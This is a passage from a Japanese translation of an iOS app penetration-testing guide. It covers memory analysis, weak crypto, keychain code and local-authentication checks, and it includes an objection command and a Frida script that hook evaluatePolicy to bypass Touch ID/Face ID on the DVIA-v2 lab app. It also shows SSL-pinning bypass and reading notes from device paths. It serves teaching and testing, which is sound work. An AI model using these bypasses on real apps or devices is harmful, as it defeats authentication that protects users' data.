特定のデータ型やパターンの検索を含む、より詳細な解析には、radare2は広範な検索機能を提供します:

$ r2 <name_of_your_dump_file>
[0x00000000]> /?
...

ランタイムメモリ解析

r2frida は、メモリダンプを必要とせずに、アプリのメモリをリアルタイムで調査するための強力な代替手段を提供します。このツールは、実行中のアプリケーションのメモリ上で直接検索コマンドを実行できるようにします：

$ r2 frida://usb//<name_of_your_app>
[0x00000000]> /\ <search_command>

脆弱な暗号化

不十分なキー管理プロセス

一部の開発者は機密データをローカルストレージに保存し、コードにハードコーディング／予測可能なキーで暗号化します。これは避けるべきで、リバースエンジニアリングにより攻撃者が機密情報を抽出できる可能性があります。

安全でない、または廃止されたアルゴリズムの使用

開発者は deprecated algorithms を使って認可の checks、データを store または send するべきではありません。これらのアルゴリズムには RC4、MD4、MD5、SHA1… などがあります。例えばパスワードの保存に hashes を使う場合は、ソルトを用いてブルートフォースに対して resistant なハッシュを使用するべきです。

チェック

主なチェック項目は、コード内に hardcoded なパスワード／シークレットがないか、それらが predictable でないか、またコードが何らかの weak な cryptography アルゴリズムを使用していないかを確認することです。

一部の crypto libraries を objection で自動的に monitor できる点は覚えておくと便利です：

ios monitor crypt

iOSの暗号化APIとライブラリの詳細情報については、https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography を参照してください

ローカル認証

ローカル認証は特に暗号化手法を用いてリモートエンドポイントへのアクセスを保護する場合に重要な役割を果たします。ここで重要なのは、適切に実装されていないとローカル認証メカニズムが回避されうる点です。

AppleのLocal Authentication frameworkとkeychainは、それぞれユーザー認証ダイアログを提供し、機密データを安全に扱うための堅牢なAPIを開発者に提供します。Secure EnclaveはTouch IDのための指紋IDを保護し、Face IDは生体データを損なうことなく顔認証を利用します。

Touch ID/Face IDを統合するには、開発者は2つのAPIから選択します：

LocalAuthentication.framework：生体データにアクセスせずに高レベルのユーザー認証を行うためのもの。
Security.framework：低レベルのkeychainサービスにアクセスし、生体認証で機密データを保護するためのもの。さまざまなopen-source wrappersがkeychainへのアクセスを簡素化します。

Caution

ただし、LocalAuthentication.frameworkおよびSecurity.frameworkの両方には脆弱性が存在します。これらは認証プロセスのためのデータを送信するのではなく主にboolean値を返すため、バイパスされやすくなります（詳細はDon’t touch me that way, by David Lindner et alを参照）。

ローカル認証の実装

ユーザーに認証を促すには、開発者はLAContextクラス内のevaluatePolicyメソッドを利用し、次のいずれかを選択します：

deviceOwnerAuthentication：Touch IDまたはデバイスのパスコードを要求し、どちらも有効でない場合は失敗します。
deviceOwnerAuthenticationWithBiometrics：Touch IDのみを要求します。

認証の成功はevaluatePolicyが返すboolean値で示され、これは潜在的なセキュリティ上の欠陥を示します。

キーチェーンを使ったローカル認証

iOSアプリでのローカル認証の実装には、認証トークンなどの機密データを安全に保存するためのkeychain APIsの利用が含まれます。このプロセスにより、デバイスのパスコードやTouch IDのような生体認証を用いてユーザーだけがデータにアクセスできるようにします。

keychainはSecAccessControl属性を使ってアイテムを設定する機能を提供します。これにより、ユーザーがTouch IDまたはデバイスのパスコードで正常に認証するまで、アイテムへのアクセスが制限されます。この機能はセキュリティ強化に不可欠です。

以下は、これらのセキュリティ機能を活用して文字列をkeychainに保存/取得する方法を示す、SwiftとObjective-Cのコード例です。例では特に、Touch ID認証を要求するようにアクセス制御を設定し、かつデバイスのパスコードが設定されている条件のもとで、データが設定したデバイス上でのみアクセス可能になるようにする方法を示しています。

// From https://github.com/mufambisi/owasp-mstg/blob/master/Document/0x06f-Testing-Local-Authentication.md

// 1. create AccessControl object that will represent authentication settings

var error: Unmanaged<CFError>?

guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
SecAccessControlCreateFlags.biometryCurrentSet,
&error) else {
// failed to create AccessControl object

return
}

// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute

var query: [String: Any] = [:]

query[kSecClass as String] = kSecClassGenericPassword
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecAttrAccount as String] = "OWASP Account" as CFString
query[kSecValueData as String] = "test_strong_password".data(using: .utf8)! as CFData
query[kSecAttrAccessControl as String] = accessControl

// 3. save item

let status = SecItemAdd(query as CFDictionary, nil)

if status == noErr {
// successfully saved
} else {
// error while saving
}

// 1. create AccessControl object that will represent authentication settings
CFErrorRef *err = nil;

SecAccessControlRef sacRef = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
kSecAccessControlUserPresence,
err);

// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
NSDictionary* query = @{
(_ _bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecAttrAccount: @"OWASP Account",
(__bridge id)kSecValueData: [@"test_strong_password" dataUsingEncoding:NSUTF8StringEncoding],
(__bridge id)kSecAttrAccessControl: (__bridge_transfer id)sacRef
};

// 3. save item
OSStatus status = SecItemAdd((__bridge CFDictionaryRef)query, nil);

if (status == noErr) {
// successfully saved
} else {
// error while saving
}

これで keychain に保存されたアイテムを要求できます。Keychain services はユーザーに認証ダイアログを表示し、適切な fingerprint が提供されたかどうかに応じて data または nil を返します。

// 1. define query
var query = [String: Any]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecReturnData as String] = kCFBooleanTrue
query[kSecAttrAccount as String] = "My Name" as CFString
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter this area" as CFString

// 2. get item
var queryResult: AnyObject?
let status = withUnsafeMutablePointer(to: &queryResult) {
SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0))
}

if status == noErr {
let password = String(data: queryResult as! Data, encoding: .utf8)!
// successfully received password
} else {
// authorization not passed
}

// 1. define query
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecReturnData: @YES,
(__bridge id)kSecAttrAccount: @"My Name1",
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecUseOperationPrompt: @"Please, pass authorisation to enter this area" };

// 2. get item
CFTypeRef queryResult = NULL;
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &queryResult);

if (status == noErr){
NSData* resultData = ( __bridge_transfer NSData* )queryResult;
NSString* password = [[NSString alloc] initWithData:resultData encoding:NSUTF8StringEncoding];
NSLog(@"%@", password);
} else {
NSLog(@"Something went wrong");
}

Detection

アプリ内でのフレームワークの使用は、アプリのバイナリに含まれる共有動的ライブラリの一覧を解析することで検出できます。これは otool を使用して行えます:

$ otool -L <AppName>.app/<AppName>

アプリで LocalAuthentication.framework が使用されている場合、出力には次の両方の行が含まれます（LocalAuthentication.framework は内部的に Security.framework を使用していることを忘れないでください）:

/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security

Security.frameworkが使用されている場合、二番目のみが表示されます。

Local Authentication フレームワーク Bypass

Objection

This GitHub page にある Objection Biometrics Bypass を通じて、LocalAuthentication メカニズムを回避する手法が利用できます。

この手法の核は Frida を活用して evaluatePolicy 関数を操作し、実際の認証成功に関係なく常に True を返すようにすることです。これは、欠陥のある生体認証プロセスを回避するのに特に有用です。

このバイパスを有効にするには、以下のコマンドを使用します:

...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # (agent) [3mhtws9x47q] Localized Reason for auth requirement: Please authenticate yourself
(agent) [3mhtws9x47q] OS authentication response: false
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete

このコマンドは、Objection がタスクを登録し、evaluatePolicy チェックの結果を実質的に True に変更する一連の処理を開始します。

Frida

以下は、DVIA-v2 application における evaluatePolicy の使用例です:

+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
NSError *authError = nil;
NSString *myLocalizedReasonString = @"Please authenticate yourself";

if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
localizedReason:myLocalizedReasonString
reply:^(BOOL success, NSError *error) {
if (success) {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"];
});
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"];
});
}
}];
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"];
});
}
}

Local Authentication の bypass を達成するために、Frida スクリプトが作成されます。
このスクリプトは evaluatePolicy チェックをターゲットにし、その callback を傍受して success=1 を返すようにします。
callback の挙動を変更することで、認証チェックは実質的に bypass されます。

以下のスクリプトは evaluatePolicy メソッドの結果を変更するために注入されます。callback の結果を常に成功を示すように変更します。

// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
if(ObjC.available) {
console.log("Injecting...");
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
var block = new ObjC.Block(args[4]);
const callback = block.implementation;
block.implementation = function (error, value)  {

console.log("Changing the result value to true")
const result = callback(1, null);
return result;
};
},
});
} else {
console.log("Objective-C Runtime is not available!");
}

Fridaスクリプトを注入して生体認証を回避するには、次のコマンドを使用します:

frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js

IPCによる機密機能の露出

ネットワーク通信

通信が暗号化されていない状態で行われていないこと、そしてアプリケーションがサーバーのTLS証明書を正しく検証していることを確認することが重要です。
これらの問題をチェックするために、Burp のようなプロキシを使用できます：

iOS Burp Suite Configuration

ホスト名チェック

TLS証明書を検証する際の一般的な問題の一つは、証明書がtrusted CAによって署名されているかどうかを確認するが、証明書のhostnameが実際にアクセスしているホスト名と一致しているかを確認しないことです。
Burpを使ってこの問題を検証するには、iPhoneでBurp CAを信頼した後、異なるホスト名に対してBurpで新しい証明書を作成してそれを使用します。アプリがそれでも動作する場合、そのアプリは脆弱です。

Certificate Pinning

アプリが正しくSSL Pinningを使用している場合、期待される証明書でないとアプリは動作しません。アプリをテストする際、Burpが独自の証明書を返すためこれが問題になることがあります。
この保護をjailbrokenデバイス内で回避するには、アプリケーションSSL Kill Switchをインストールするか、Burp Mobile Assistantをインストールします。

また、objection’s の ios sslpinning disable を使用することもできます。

その他

In /System/Library you can find the frameworks installed in the phone used by system applications
The applications installed by the user from the App Store are located inside /User/Applications
And the /User/Library contains data saved by the user level applications
You can access /User/Library/Notes/notes.sqlite to read the notes saved inside the application.
Inside the folder of an installed application (/User/Applications/<APP ID>/) you can find some interesting files:
iTunesArtwork: アプリで使用されているアイコン
iTunesMetadata.plist: App Storeで使用されるアプリの情報
/Library/*: 設定やキャッシュを含みます。/Library/Cache/Snapshots/* にはアプリをバックグラウンドに送る前に取得されたスナップショットが保存されています。

Hot Patching/Enforced Updateing

開発者は、アプリをApp Storeに再提出して承認を待つことなく、リモートですべてのインストールに即座にパッチを適用できます。
この目的には通常JSPatchが使用されます。ですが、Siren や react-native-appstore-version-checker のような他のオプションも存在します。
これは悪意のあるサードパーティSDKによって悪用される可能性がある危険な仕組みであるため、自動更新にどの方法が使われているか（もしあれば）を確認し、テストすることを推奨します。この目的のためにアプリの以前のバージョンをダウンロードして試すこともできます。

Third Parties

3rd party SDKs の大きな課題は、その機能に対する細かな制御ができない点です。開発者はSDKを統合してそのすべての機能（潜在的なセキュリティ脆弱性やプライバシー懸念を含む）を受け入れるか、あるいはその利点を完全に放棄するかの選択を迫られます。多くの場合、開発者自身がこれらSDK内の脆弱性を修正することはできません。さらに、SDKがコミュニティ内で信頼を得ると、一部はマルウェアを含み始めることさえあります。

サードパーティSDKが提供するサービスには、ユーザー行動の追跡、広告表示、ユーザー体験の向上などが含まれることがあります。しかし、これにより開発者がこれらライブラリによって実行されるコードを完全に把握していないリスクが生じ、プライバシーやセキュリティ上の問題につながる可能性があります。サードパーティサービスと共有する情報は必要最小限にとどめ、機密データが露出しないようにすることが重要です。

サードパーティサービスの実装は通常、スタンドアロンのライブラリかフルSDKのどちらかの形で提供されます。ユーザーのプライバシーを保護するため、これらのサービスと共有するデータは個人を特定できる情報（PII）の公開を防ぐためにanonymizedされるべきです。

アプリが使用しているライブラリを特定するには、otool コマンドを使用できます。このツールはアプリケーション本体と、そのアプリが使用する各共有ライブラリに対して実行し、追加のライブラリを発見します。

otool -L <application_path>

興味深い脆弱性とケーススタディ

Air Keyboard Remote Input Injection

Itunesstored Bookassetd Sandbox Escape

Zero Click Messaging Image Parser Chains

参考資料と追加リソース

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

サブスクリプションプランを確認してください！

**💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。

HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。